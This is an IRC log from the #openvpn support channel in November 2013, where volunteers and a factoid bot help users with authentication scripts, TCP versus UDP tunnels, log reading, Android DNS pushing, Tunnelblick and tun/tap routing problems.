19:44 <+pekster> I have a while ago. You need to go ask in vendor-appropriate places. Maybe ##windows or ##windows-server
19:44 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:44 < rawDawg> I did
19:44 <+pekster> Whatever your radius client has configured it to send
19:45 < rawDawg> i am using the default openvpn client for windows
19:45 <+pekster> It's the openvpn _server_ that handles authentication
19:45 <+pekster> Not the client
19:46 <+pekster> !authpass
19:46 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
19:46 <+pekster> That's the only support openvpn has as a client to send a user+password. There's nothing at all to do with RADIUS or whatever there
19:46 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 252 seconds]
19:47 <+pekster> What your server chooses to do with those credentials is up to it. There is an unofficial radius openvpn plugin, but it's not officially-maintained, and obviously only supports what it's been configured with
19:48 <+pekster> You're really better off either using PAM (for PAM-supported openvpn server platforms) or writing your own authentication script that itself calls the RADIUS client of your choice
19:48 <+pekster> Did you have confusion about how an openvpn server kicks of the authentication?
19:52 < rawDawg> possibly
19:52 < rawDawg> here is the conf: auth-user-pass-verify /var/etc/openvpn/server2.php via-env
19:52 <+pekster> Right, so as far as openvpn cares, it's executing /var/etc/openvpn/server2.php to determine the validity of a client. If that process exits with code 0, the client is allowed, otherwise it is rejected
19:53 <+pekster> It's completely up to that script how the return code is generated, and openvpn isn't involved in the process besides acting on the exit code
19:54 <+pekster> So, if you need a specific attribute set during auth so your backend knows "where" the request came from, it's entirely up to you to code that intelligence into server2.php
19:55 < rawDawg> http://pastebin.com/srQ92uex
19:56 <+pekster> You're better off in ##php if you need programming help
20:11 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
20:18 < hjohnson> i'm using the radius plugin
20:18 < hjohnson> works pretty well
20:19 < hjohnson> for me at least
20:19 < hjohnson> (I'm authenticating against NPS)
20:19 -!- natsukao_ [~natsukao@dynamic-adsl-94-37-153-251.clienti.tiscali.it] has joined #openvpn
20:19 < natsukao_> hi
20:20 < natsukao_> modem offer me the possibility to choose between pptp for a vpn or ipsec l2tp for the vpn
20:21 < hjohnson> natsukao_: so why are you asking here?
20:22 < natsukao_> what do you suggest to me ?
20:22 <+pekster> !pptp
20:22 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-security.phtml
20:22 <@vpnHelper> to read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/ or (#4) NB: cracking PPTP is easy: https://www.cloudcracker.com/
20:23 <+pekster> What you do from there is up to you
20:23 <+pekster> !forget pptp 4
20:23 <@vpnHelper> Joo got it.
20:26 < natsukao_> i got 2 laptops and a nokia 770
20:27 < natsukao_> then my friends have 2 iphones; 1 samsung with android; 2 laptops;
20:27 < natsukao_> then friends of friends have 1 mobile samsung with android
20:27 < hjohnson> natsukao_: so what does that have to do with anything
20:27 <+pekster> OpenVPN is cross platform, and vendor-supported clients exist for apple (see: !iphone , and see also !android)
20:27 < natsukao_> and 4 others pc with windows
20:28 < natsukao_> all the laptops of these people are with windows
20:28 <+pekster> Was there a question in there somewhere?
20:28 < natsukao_> only my tablet nokia 770, my laptops use GNU/linux
20:30 < natsukao_> the connect to DSL, if i assign a VPN, can they use the connection wi-fi/adsl or they must to assign to their laptops and mobile phone a vpn with pptp or ipsec ?
20:30 <+pekster> I have no clue what you're asking
--- Log closed Tue Nov 26 20:35:50 2013
--- Log opened Tue Nov 26 20:36:05 2013
20:36 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
20:36 -!- Irssi: #openvpn: Total of 229 nicks [5 ops, 0 halfops, 2 voices, 222 normal]
20:36 -!- mode/#openvpn [+o ecrist] by ChanServ
20:36 < natsukao_> nothing
20:36 < natsukao_> it's another question
20:36 <+pekster> Wrong channel
20:36 < eHAPPY> where should i look for possibly firewall related problems? router log shows nothing
20:36 -!- Irssi: Join to #openvpn was synced in 39 secs
20:37 <+pekster> natsukao_: Go ask #cisco or ##hardware or ##networking or any of the Web's wonderful places where such questions are supposed to be asked. #openvpn deals with OpenVPN. Not Cisco, not PPTP, not IPSec, etc
20:37 < natsukao_> thanks
20:38 <+pekster> eHAPPY: `iptables-save` for Linux netfilter, pf.conf for PF, or consult your vendor docs otherwise
20:39 < eHAPPY> ah sorry im using the openvpnas
20:39 <+pekster> !as
20:39 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
20:39 < eHAPPY> ah ty
20:54 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
20:54 < rob0> Peepy tepee
21:30 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
21:53 -!- dimitry7 [~antonello@38.124.174.31] has quit [Quit: Leaving]
22:01 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has quit [Read error: Connection reset by peer]
22:16 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has joined #openvpn
22:17 -!- A_Pickle [~A_Pickle@host-72-175-205-202.static.bresnan.net] has quit [Quit: Leaving.]
22:17 -!- A_Pickle [~A_Pickle@host-72-175-205-202.static.bresnan.net] has joined #openvpn
22:21 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 248 seconds]
22:22 -!- A_Pickle [~A_Pickle@host-72-175-205-202.static.bresnan.net] has quit [Ping timeout: 272 seconds]
22:29 -!- pryorda [~pryorda@unaffiliated/irated] has joined #openvpn
22:30 < pryorda> only getting 5mbit/ps through my openvpn server.. Any ideas Client is 50mbit/Server is 1Gbit
22:32 <@krzee> are you using udp? are you looking at the system resources? tried playing with mtu?
22:33 <@krzee> tried iperf on public ip and then again using vpn ip?
22:34 <@krzee> pryorda, ^
22:49 < pryorda> i have not trie iperf
22:49 < pryorda> mtu i have played with
22:49 < pryorda> and I am just using tcp
22:49 < pryorda> should i use both
22:49 < pryorda> udp/tcp
22:50 <@krzee> i mean for the tunnel
22:51 <@krzee> the tunnel must be udp cause you said you have been playing with mtu
22:51 < pryorda> I have tried allot
22:52 < pryorda> I usually disable multideamon mode
22:59 < pryorda> enabled mutildeamon mode
22:59 < pryorda> and all of suddedn im getting 20mbit again
23:00 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has quit [Read error: Connection reset by peer]
23:17 -!- pryorda [~pryorda@unaffiliated/irated] has left #openvpn []
23:30 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has joined #openvpn
23:36 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
23:42 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 272 seconds]
23:43 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Wed Nov 27 2013
00:47 < james41382> I have openvpn setup on my Netgear WNDR3800 running OpenWrt Attitude Adjustment 12.09 /LuCI 0.11.1 Release (0.11.1) and the connection has been working fine, but then earlier today it timed out twice in the same hour. Any ideas?
00:47 <+pekster> There are dozens of things that cause that
00:47 <+pekster> Crystal ball is out of service
00:47 <+pekster> !crystal
00:47 <@vpnHelper> "crystal" is Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
00:49 < james41382> I can try to determine if it's an isolated incident by not doing anything and just waiting to see if it happens again since it has not happened before.
00:49 < james41382> But it is strange that it happened twice in the same relatively small period of time.
00:49 <+pekster> I can't agree with your asessment
00:49 < james41382> Why not?
00:49 <+pekster> You've provided no logs that explain how "strange" this is
00:50 <+pekster> You've been given commands from the bot that explain how to provide this, but until you do, the best answer you get it "something disconnected you"
00:50 <+pekster> If you want more help than that, stop pretending we have magic answers here
00:50 < james41382> I mean strange in the sense that this is the first and only occurrence.
00:50 <+pekster> The Internet is not reliable
00:51 < james41382> !configs
00:51 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
00:51 < james41382> !logs
00:51 <+pekster> Could be an intermittent routing failure. Could be your remote unit rebooted. Could be falulty hardware crashed. Could be a power outage somewhere in the path your packets took. Could be your ISP had a temporary glitch (at either end.) Etc, etc
00:51 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
00:51 <+pekster> I won't keep guessing
00:52 < james41382> I don't expect you to guess.. I'm just a student with little experience simply looking some direction. No big deal.
00:52 < james41382> Let me see what I can turn up in way of logs..
00:56 <+pekster> The most common case is a timeout where one end simply got "no contact" from the remote side for the defined timeout duration
00:57 <+pekster> Sometimes the other end actively closed the connection (box rebooted, or the remote end shut down the VPN instance), but other times the unreliable nature of the Internet causes packets to get delayed/lost for any imaginable reason
00:57 < james41382> Here is the log from the server..
00:57 < james41382> http://paste.debian.net/67980/
00:57 < james41382> I grep'ed the stuff from just today.. it was between 6:00 and 9:00 pm
00:58 < james41382> What's this bad source address business?
00:58 <+pekster> So, all the "connection-reset" messages (see lines: 13, 24, etc) is the remote end closing down the TCP session
00:58 <+pekster> Bad source is just that; the client is using a "bogus" address across the VPN tunnel
00:59 <+pekster> Windows is especially bad about that, but I've seen Unix/Linux clients do it to; openvpn has a form of a built-in firewall that rejects such bogus traffic since it can't be routed properly anyway
00:59 <+pekster> Also, you really shouldn't use TCP unless UDP isn't an option; the problems of tcp-in-tcp are well understood. See: !tcp for details
01:00 <+pekster> You're more likely to end up with delay/disconnect events when you run into latency or loss between your link
01:00 <+pekster> You can see a timeout event on line 79, for example; "Inactivity timeout" is just that -- the listed client failed to send keepalive traffic and was disconnected due to inactivity
01:00 < james41382> Okay that is understood now... udp is the way to go..
01:00 < james41382> I saw that just now... inactivity timeout..
01:01 <+pekster> And again, that could be delivery failure "somewhere" between client & server, or the remote end (the client in this case, since we see the server logs) closed the program down and left the server to time out ("expire") the client instance
01:01 <+pekster> Correlate that log with client logs for more detail
01:02 < james41382> Okay let me find it...
01:02 < james41382> one sec..
01:03 <+pekster> It's also quite possible your issues will be reduced (or go away completely, if you're lucky ;) by using UDP, but it depends a lot on the real cause for timeouts
01:07 < james41382> Not sure, but as I have been using network-manager it seems there are not any logs from the client side. =[
01:08 <+pekster> !netman
01:08 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
01:08 < james41382> I know I know...
01:08 <+pekster> We generally don't recommend NM here at all due to the hideous layers of abstraction that prevent you from doing even the most basic tasks, like getting proper configs, logs, etc
01:09 < james41382> I guess I'm just lazy.. =/
01:09 < EugeneKay> SO are we.
01:09 < james41382> I should probably running openvpn from a screen and detaching it
01:09 < james41382> Is that a better way?
01:09 <+pekster> That, or use a proper frontend that doesn't abuse the user
01:10 < EugeneKay> openvpn has a --daemon option built in.....
01:10 < james41382> daemonize the client?
01:10 < EugeneKay> Sure, why not
01:10 <+pekster> How do you think distro's init system works?
01:10 < james41382> Like I said previously I'm just student..
01:10 < EugeneKay> So learn ;-)
01:10 < james41382> I have written an init script though =]
01:10 < james41382> Just one.. I don't know much scripting..
01:11 < james41382> Rather I took something someone else wrote several years ago and modified it to suit my needs.. but I was rather proud of it!
01:11 < james41382> Okay I'll man openvpn and look for the daemon option...
01:12 <+pekster> It's completely up to you how you choose to launch/maintain/control openvpn
01:12 < james41382> For me this is all a learning experience... I really appreciate people taking the time to help me along the way.
01:14 < james41382> So if I use the --daemon option then if I want to terminate the connection I just kill the process?
01:15 -!- copper [~copper@unaffiliated/copper] has left #openvpn []
01:16 <+pekster> Yup (thouh you ought to send it an INT or TERM signal instead (see the 'SIGNALS' part of the manpage for other signals that do other things)
01:16 <+pekster> That's basically what distro-centric initscripts do, though they generally store the PID somewhere to support >1 VPN instance
01:18 < james41382> I guess I don't really understand init .. my understanding is that init runs certain scripts as the runlevel changes. So for openvpn being run with the --daemon option this means?
01:19 <+pekster> Try reading options in the manpage and asking smarter questions that demonstrate you're not so lazy to treat me as a dictionary
01:19 -!- Carbon_Monoxide [~cmonxide@14.0.143.36] has joined #openvpn
01:19 < james41382> Okay.. fair enough.
01:19 <+pekster> I understand a lot of this is new to you, but this isn't quite the right place to learn OS basics (you have distro channels, books, and google for that)
01:21 <+pekster> Here's a freebie to show you how useful google can be: https://en.wikipedia.org/wiki/Daemon_%28computing%29
01:21 <@vpnHelper> Title: Daemon (computing) - Wikipedia, the free encyclopedia (at en.wikipedia.org)
01:29 < james41382> Yes that was fairly informative, but most of that wiki I actually knew already. What I don't know is how one uses init to affect the daemon.. I don't see anything about it in the man either... unless I missed it.
01:29 <+pekster> What OS are you on that doesn't ship with a usable initscript for openvpn?
01:30 < james41382> I'm sure there is one.. that's what you are getting at I suspect.
01:31 <+pekster> Quite right. The only reason to write one is if you're trying to build an initscript for a distro that doesn't have one yet; that would make you a distro maintainer and require that you have a high level of skill & familarity with both the program you're maintaining (openvpn) and your distro
01:31 < james41382> I guess I thought that was more for running openvpn as a server not a client.
01:31 <+pekster> Since you don't, you're really better off learning to use the tools you distro already includes
01:32 -!- Carbon_Monoxide [~cmonxide@14.0.143.36] has quit [Quit: Leaving]
01:32 <+pekster> Depends on the OS; on my Ubuntu clients (on my laptop for instance) I personally just invoke openvpn from a terminal, usually out of screen
01:32 < james41382> For example if I setup this computer and an openvpn server I would have openvpn execute form init.d during runlevels 3456 or whatever.
01:32 <+pekster> I could use init, I just prefer not to
01:32 < james41382> s/and/as
01:33 <+pekster> initscripts don't have to start on boot at a "defined" runlevel. If you want help learning to use your distro, ask them, not us
01:33 <+pekster> !101
01:33 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
01:33 < james41382> Okay so as a client you execute openvpn from the terminal?
01:33 <+pekster> OS help is at #yourdistro
01:33 -!- local [~local@sv1de.element-system.de] has joined #openvpn
01:33 <+pekster> Yes, and that's about as much help as you can expect to get "starting" openvpn from us
01:33 <+pekster> If openvpn does what you want when you start it from a terminal, "it's working" and anything else you want is between you and your distro support
01:33 < james41382> Why didn't you just say so earlier instead of mentioning using init?
01:34 <+pekster> You seemed very particular about not running it from a terminal
01:34 < james41382> I didn't mean to give that impression. If I did I apologize..
01:35 < james41382> Thanks for you help. Have a good night. =]
01:35 <+pekster> Well, you'll get logs that way ;)
01:35 <+pekster> And logs tell you what happens; It's best to use at least --verb 3, and ideally --verb 4 when you're having issues (use 5 for firewall problems)
01:36 < local> hello all. When I use 'push "dhcp-option DOMAIN foo.bar"' in my server.conf this setting is only applied to Windows OpenVPN-clients. Is there any trick or way to get that also work for Linux clients? I would like to push a default search domain suffix to my Linux clients, too.
01:37 <+pekster> local: Read about !pushdns -- when you use --dhcp-option like that you need to make special arrangements for non-Windows to do something usefeul
01:37 <+pekster> That'll be distro/implementation specific depending on your resolver config
01:38 <+pekster> (some distros ship with logic to support that, others require you to insert your own magic per the !pushdns details)
01:39 < local> pekster: This is related to smartphone OpenVPN clients which are using "OpenVPN" app on Android devices. I have the option to check "USE VPN SERVER" on these clients, but no way to specify DNS-search-suffixes, too :(
01:39 < local> !pushdns
01:39 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
01:40 <+pekster> Keep in mind there are 2 apps; only 1 is OpenVPN; the other is a commercial product called "Connect" that isn't using any of the OpenVPN code
01:40 -!- svparijs_afk is now known as svparijs
01:40 <+pekster> More info at: !android
01:40 < local> pekster: I am talking of the official one, which comes from OpenVPN
01:40 < local> !android
01:40 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
01:41 <+pekster> Please do not confuse that info with this:
01:41 <+pekster> !connect
01:41 <@vpnHelper> "connect" is (#1) OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide or (#2) https://forums.openvpn.net/post34969.html#p34969
01:41 <+pekster> "OpenVPN Connect" != OpenVPN (the forum link at (#2) there can explain if you're still confused.)
01:41 < local> pekster: I have my Android device rooted, and installed "OpenVPN Installer" and "OpenVPN Settings".
01:42 <+pekster> rooting not required for what you should be using:
01:42 <+pekster> https://play.google.com/store/apps/details?id=de.blinkt.openvpn&hl=en
01:44 <+pekster> One of the active devs here maintains that, so it's current and up to date, and you can generally get support for it hanging around (though you'll have to be patient about the timezone thing if you need his input)
01:46 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:46 <+pekster> Either way, I don't think the android-openvpn-installer (are you on pre-ICS or something so you can't use the new app that should "just work" ?) has the arrangements to do anything with the local resolver for --dhcp-option settings
01:46 < local> pekster: Why can't I find that "OpenVPN for Android" when using my GooglePlay on my Android device?? I have searched, but cannot find this app. Weird
01:47 <+pekster> >=ICS required
01:47 <+pekster> Chances are good there's no forign_option_{n} support in whatever older flavour build you're running
01:48 <+pekster> You might consider using a publicly-viewable DNS zone for your VPN domain, so vpn.yourdomain.com or such, and records under that can return the RFC1918 space of interest
01:49 <+pekster> That's probably a better solution compared to learning how the android resolver can be scripted
01:49 -!- hazza [~Harrison@198.143.0.217] has joined #openvpn
01:49 <+pekster> Or IPv6 where there's no private address space anymore ;)
01:49 < plaisthos> pekster, local: setprop android dns as search keywords
01:51 <+pekster> local: ^ there ya go. Cook up a few shell scripts using that info, possibly with the official openvpn "contrib/" folder's resolvconf as inspiration, and that might be a workable solution
01:52 < plaisthos> local: out of curisosity how old is your Android device?
01:53 -!- dazo_afk is now known as dazo
02:10 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
02:12 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:20 < local> plaisthos: Oh, that's why I cannot find it. I am using "Ginger Bread" and ICS is not possible due to hwcodec restrictions. Doesn't matter, I think I have to do that somehow with an Up script on my Android device. I have no idea how it should look like, guess I have to google around
02:22 < local> pekster: I have seen an "update-resolv-conf" script which comes from openvpn or easy-rsa (dont remember). But that's written in bash. How should I create an up script for Android device, which sets a specifig "dns search-list" upon connection?
02:22 <+pekster> Time for me to disappear, but you got search terms above for learning materials and examples for interacting with the Android resolver
02:23 < local> plaisthos: setprop? is that a command of a special shell or extra tool?
02:23 < local> pekster: ok dude. Thank you. Have a nice day (or evening, dunno :p)
02:24 <+pekster> By search terms he meant you should go search for it
02:24 <+pekster> https://lmddgtfy.net/?q=setprop%20android%20dns
02:24 <@vpnHelper> Title: Let Me DuckDuckGo That For You (at lmddgtfy.net)
02:24 -!- Haxxa [~Harrison@162.243.39.102] has quit [Excess Flood]
02:26 -!- Haxxa [~Harrison@162.243.39.102] has joined #openvpn
02:26 < plaisthos> local: I don't recall how setprop is to be used but setprop dns android should give a starting point for google
02:27 -!- eval- [~stephan@pool-98-109-15-233.nwrknj.fios.verizon.net] has quit [Ping timeout: 264 seconds]
02:27 -!- eval-_ is now known as eval-
02:28 < local> plaisthos: hey, setprop and getprop should do the job. Nice commands on my "Better Terminal Pro". Will check that out ...
02:28 -!- eval-_ [~stephan@pool-98-109-15-233.nwrknj.fios.verizon.net] has joined #openvpn
02:31 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
02:36 -!- Haxxa [~Harrison@162.243.39.102] has quit [Excess Flood]
02:37 -!- Haxxa [~Harrison@162.243.39.102] has joined #openvpn
02:44 -!- svparijs is now known as svparijs_afk
02:51 -!- svparijs_afk is now known as svparijs
02:57 -!- ccha3 [~ccha@unaffiliated/ccha] has quit [Remote host closed the connection]
02:58 -!- ccha [~ccha@unaffiliated/ccha] has joined #openvpn
02:59 -!- ccha [~ccha@unaffiliated/ccha] has quit [Client Quit]
03:19 -!- svparijs is now known as svparijs_afk
03:20 -!- svparijs_afk is now known as svparijs
03:28 -!- u0m3_ [~u0m3@109.96.166.138] has joined #openvpn
03:32 -!- u0m3 [~u0m3@109.96.166.138] has quit [Ping timeout: 272 seconds]
03:52 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
03:56 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
03:57 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
03:58 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
04:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
04:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:24 -!- Denial [Denial@2.223.161.125] has joined #openvpn
05:45 -!- local [~local@sv1de.element-system.de] has left #openvpn []
05:49 -!- TByte` [~AByte@46.227.51.110] has joined #openvpn
05:51 < TByte`> Is it normal to have constant back and forth of UDP packets when config proto is set to TCP?
05:51 < TByte`> Didn't expect that :/
05:54 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
05:55 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has joined #openvpn
06:16 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
06:24 <@dazo> TByte`: where do you see those UDP packets?  Inside or outside the tunnel?
06:24 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
06:26 < TByte`> I am sniffing on my LAN ethernet adapter, packets are sent between my client's main LAN adapter's IP address and the public IP of the server; to answer your question, I believe "outside"?
06:26 < TByte`> if it was inside, in my sniffing, I would see TCP packets wouldn't I?
06:30 < TByte`> I am running wireshark on the client
06:43 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
06:44 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
06:44 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 245 seconds]
06:44 -!- gardar_ is now known as gardar
06:44 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
06:45 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:46 -!- mndo [~mndo@bl17-106-6.dsl.telepac.pt] has joined #openvpn
06:48 -!- takamich_ [~takamichi@85.12.8.14] has joined #openvpn
06:48 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: Operation timed out]
06:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:56 < havoc> read from TUN/TAP : File descriptor in bad state (code=77)
06:56 < havoc> bah, meant for google
06:58 <@dazo> TByte`: if you're sniffing your LAN ... I'd expect to see both UDP and TCP traffic ... it all depends on what you're doing.  If you expected this to go through the tunnel, then you need to check your routing more carefully
06:58 < havoc> dazo: morning
06:58 <@dazo> hey!
06:58 < havoc> any clue, offhand, why one TUN connects, and another is "in a bad state"?
06:59 <@dazo> hmmm
06:59  * dazo digs into some source code
06:59 < havoc> can't be perms
06:59 < havoc> tun0 is up and in use, tun2 is the problem
06:59 < Fohlen> pekster, is there also a osx app?
06:59 < Fohlen> seen the playstore link you provided
07:00 < havoc> it connects, but can't seem to get an IP via ifconfig-push from the server
07:00 <@dazo> Fohlen: try Tunnelblick
07:00 < Fohlen> not again
07:00 < Fohlen> the tblk stuff is just awfull
07:01 <@dazo> okay ... there's another commercial variant, but I've forgotten the name of it
07:02 <@dazo> vis....something
07:02 < havoc> dazo: found it, pull was commented out
07:02 < havoc> uncommented, added route-nopull, all is well
07:03 < havoc> converting more site to site links to tun from tap
07:03 < Fohlen> you know what grinds my gear about tunneblick dazo? They provide absolutly NO introduction, no error handling, and no clear structure
07:04 <@dazo> havoc: huh!?  -EBADFD on missing --pull!?  that's rather surprising
07:04 < havoc> it was the only change I made
07:04 < havoc> it was previously a tap
07:05 <@dazo> Fohlen: I've set up one Tunnelblick client, not an OSX user myself ... but most users seems to be pretty happy about it .... and the developer of it is really open for feedback on improvements
07:05 < havoc> so changed the dev, commented out ifconfig, done.
07:05 < havoc> except I already had the pull commented out when it was tap
07:05 < Fohlen> dazo ... they fail even with relative paths
07:05 < havoc> this is 2.2.2 btw
07:05 <@dazo> havoc: ahh .... okay, mismatching tun/tap may cause this yes ...
07:05 < plaisthos> dev tap vs dev tun might explain EBADFD
07:05 < havoc> dazo: yup, that's what I figured
07:05 < Fohlen> tunnelblick did not accepted my default config with cert files ... as I did not specified them with absolute path
07:05 < havoc> dazo: also pushing ip from server via ifconfig-push
07:06 < Fohlen> not sure why you place everything together in one file, when it fails about relative paths
07:06 < Fohlen> *in one folder
07:06 < Fohlen> also informations on errors are awfull
07:06 <@dazo> Fohlen: use inline files ... that's really a time saver, no matter which client you use .... then everything is inside one single openvpn config file
07:07 <@dazo> Fohlen: instead of ranting about it here ... may I suggest you rather point your frustrations against the Tunnelblick developer?  He can at least do something about it .... we on this channel cannot
07:07 < Fohlen> okay, I will
07:08 < Fohlen> anyway, thx
07:10 < plaisthos> Fohlen: it does for me
07:13 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xzindajghdsxjbed] has quit [Remote host closed the connection]
07:13 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-ioxnrpkkrjpsyfqk] has quit [Remote host closed the connection]
07:13 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-kbsbmoszvucqbcjx] has quit [Remote host closed the connection]
07:13 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has quit [Remote host closed the connection]
07:13 -!- dowaat [uid3966@gateway/web/irccloud.com/x-xocyhwbspdhzotjr] has quit [Remote host closed the connection]
07:13 -!- eval- [uid16075@gateway/web/irccloud.com/x-bsbdwfzwoweguiqu] has quit [Remote host closed the connection]
07:17 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:19 < TByte`> I have this annoying problem.  trying to get openvpn to work from my android phone, so I changed dev from tap to tun, now clients can talk to each other, server can talk to clients, but clients can't talk to the vpn server IP, wtf??
07:19 < TByte`> made me read up about routing, subnet masks and what not, withotu a clue.  server config pushes no routing; it works with TAP as is :/
07:22 -!- eval- [uid16075@gateway/web/irccloud.com/x-ilqzgjlyxcpgsxnr] has joined #openvpn
07:25 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
07:25 -!- TByte` [~AByte@46.227.51.110] has quit [Read error: Connection reset by peer]
07:25 -!- TByte` [~AByte@46.227.51.110] has joined #openvpn
07:26 < TByte`> hmmmmmm I hate my gateway metric set to 999 might explain my routing issues :-)
07:27 -!- takamich_ [~takamichi@85.12.8.14] has quit [Ping timeout: 252 seconds]
07:29 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-bdrmuzsldivdqbaq] has joined #openvpn
07:29 -!- XJR-9 [~XJR-9@pdpc/supporter/active/xjr-9] has joined #openvpn
07:30 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
07:30 -!- dowaat [uid3966@gateway/web/irccloud.com/x-bfyxaacpeoujnzpr] has joined #openvpn
07:30 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
07:31 -!- Semor [~Semor@218.106.182.104] has quit [Read error: Connection reset by peer]
07:31 -!- Semor [~Semor@218.106.182.104] has joined #openvpn
07:33 < TByte`> bah; that wasn't it
07:34 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-ihbzbggykyjezjqn] has joined #openvpn
07:35 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-uteziqeptbinymzp] has joined #openvpn
07:42 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
07:56 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
07:59 <@ecrist> TByte`: what is your problem, specifically/
07:59 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:18 -!- svparijs is now known as svparijs_afk
08:27 -!- svparijs_afk is now known as svparijs
08:30 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has joined #openvpn
08:31 < TByte`> server can talk to client, e.g. make TCP connections, but not the other way around, as if a firewall, but there isn't any
08:46 -!- APTX [APTX@unaffiliated/aptx] has quit [Quit: No Ping reply in 180 seconds.]
08:46 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
